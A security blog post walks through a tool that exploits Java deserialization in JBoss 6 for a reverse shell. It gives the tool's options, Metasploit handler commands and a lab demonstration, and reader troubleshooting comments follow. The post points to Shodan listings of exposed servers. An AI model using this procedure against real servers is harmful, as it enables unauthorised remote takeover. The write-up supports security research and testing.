Shells in Your Serial – Exploiting Java Deserialization on JBoss
I read a fantastic write-up by Stephen Breen of FoxGlove Security earlier this month describing a vulnerability, present in several common Java libraries, related to the deserialization of user input. His post goes fairly in depth into how the vulnerability works, so I won’t go into details here, but the basic idea is that in order for Java to send application data over a network, it first has to be converted to another format that can be easily transported, which is commonly solved using Java object serialization. Once the application at the other end of the network receives the serialized data, it then converts it back to application data (deserialization) and continues processing.
The vulnerability in the Commons Collection library, originally discovered by Gabriel Lawrence and Chris Frohoff, stems from flaws in how various Java libraries translate serialized data into application data. This vulnerability was later found to be exploitable in a number of common platforms by FoxGlove. Although the attack vector varies slightly between platforms, this weakness can generally be exploited by sending a specially crafted HTTP request containing serialized data (as well as arbitrary commands) to an application, which causes the application to execute these commands on the server. Common vulnerable applications include WebSphere, JBoss, Jenkins, and WebLogic, among others. The original proof-of-concept exploit, ysoserial, can be found here.
ysoserial works very well, but ultimately is still a proof-of-concept and not a polished exploit. It allows remote command execution, but requires the user to first generate a payload, set up a request in Burp Suite, paste the payload from a file, and send the request. I also was not able to chain commands (“&&”) during testing, meaning I had to repeat this process several times to successfully compromise the host (once for each command). This workflow felt cumbersome to me, and I wanted a more streamlined way to exploit this vulnerability.
I began developing an exploit to address these inconveniences and increase reliability–the GitHub repo and executable JAR can be found here. The purpose of this project is to be sort of a one-click compromise in the fashion of Metasploit exploit modules. In fact, the exploit does rely on the Metasploit Framework for some functionality, but I decided to use Java rather than develop a Metasploit module so I could build on top of the original ysoserial code. This project is still in early stages of development, so many platforms and features are not currently implemented. Check the GitHub page for updates on supported platforms and functionality.
The Exploit: Owning JBoss
I’ll now be walking through a demonstration of this exploit against a vulnerable JBoss Application Server. I chose this target first because it’s one of the simpler platforms to attack, and it’s also fairly commonly found in security assessments and on the open internet (https://www.shodan.io/search?query=JBoss). It’s also fighteningly often misconfigured.
First, I spun up a fresh Debian 8 VM in VirtualBox and installed JBoss version 6.1.0Final. JBoss 6 was chosen because the vulnerable page, JMXInvokerServlet, was removed by default in JBoss 7. JBoss 6 is still quite commonly used, however. I accepted all defaults during the installation, including the prompt displayed in the image above. This configuration seems blatantly insecure, but unfortunately I believe it’s still a pretty realistic target based on the habits of many Sys Admins. I then started the server, listening on port 8080 for incoming connections.
Next, switch to your attacking machine and download the latest JAR release from here. I recommend Kali, as this exploit currently requires the Metasploit Framework and Linux to work, and Kali has all the necessary components installed and configured out of the box. You can run the exploit using the general syntax “java -jar JBossExploit.jar “, and you can view usage using the “-help” switch. The order you pass the command line arguments is irrelevant.
Here is a breakdown of the options. All but the “help” switch are required:
- lhost: Local IP address of the attacking machine. This is the IP your Kali box will be using to host the malicious binary, as well as the IP your victim will be connecting back to with a reverse shell. Note that it will need to be an IP the victim machine can see (not 127.0.0.1 or a private IP on a segmented network).
- lport: The local port your Metasploit handler will be listening on. You will need to configure the handler in Metasploit Framework and use that same information here.
- rhost: The remote hostname or IP address of the victim machine.
- rport: The port the victim’s JBoss application is running on.
- srvport: A port to use to host your malicious binary. The victim will be sending an HTTP request to this port to download the reverse shell payload. Note that it needs to be different than your Metasploit handler port, and the victim machine needs to be able to access it.
Open up a second terminal window and start Metasploit with the “msfconsole” command. Then start setting up your handler with “use exploit/multi/handler”:
Next, set up your payload with “set payload linux/x86/shell/reverse_tcp”. Set your lhost and lport options similarly:
Lastly, start the handler with the “exploit” command. Switch windows back into your terminal with the JAR file.
Now that we have the handler listening, it’s time to attack the victim. You will first need to find your victim’s IP address and port that JBoss is listening on–in this case I know it’s 192.168.1.10 and 8080 respectively. Run the JAR with the appropriate options and watch the magic:
Switch back to your handler window and check your loot:
Update: johndekroon has posted a scanner to github called serializekiller to identify vulnerable servers. From looking at his code, I’m not sure that this will successfully identify servers with patched a Commons Collection library, although it’s still a great resource. Sijmen Ruwhof has posted an excellent writeup about statistics gathered while using this tool.
About Serializekiller: Serializekiller does detect some services that are patched, however, since it’s non-intrusive it’s hard to verify. For example with Websphere it’s not possible to say if the patch is applied. Therefore, it will also report patched servers. For Jenkins however it’s possible to detect, and therefore it won’t report patched Jenkins servers.
I installed the same environment as you – Debian 8 and JBoss 6.1.0 Final but neither you PoC or ysoserial works for me. I’m trying to figure out why… is it due to the server configuration not having JAVA_HOME env set, for example?
As Dan, I’m trying to attack a JBoss 6.1.0 Final with your exploit… And it’s freezing on stage 2. Any help appreciated
Do you mean the exploit JAR is hanging when it says “Sending stage 2”? Or does the program terminate normally and you just don’t receive a reverse shell connection?
error reading response when stage one is sent
sending stage 2 and not receiving reverse shell
I am having issues installing Jboss AS on my Ubuntu 14.04 VM. I installed openjdk via apt-get, and extracted and run the “.run.sh”.
Am i doing it wrong.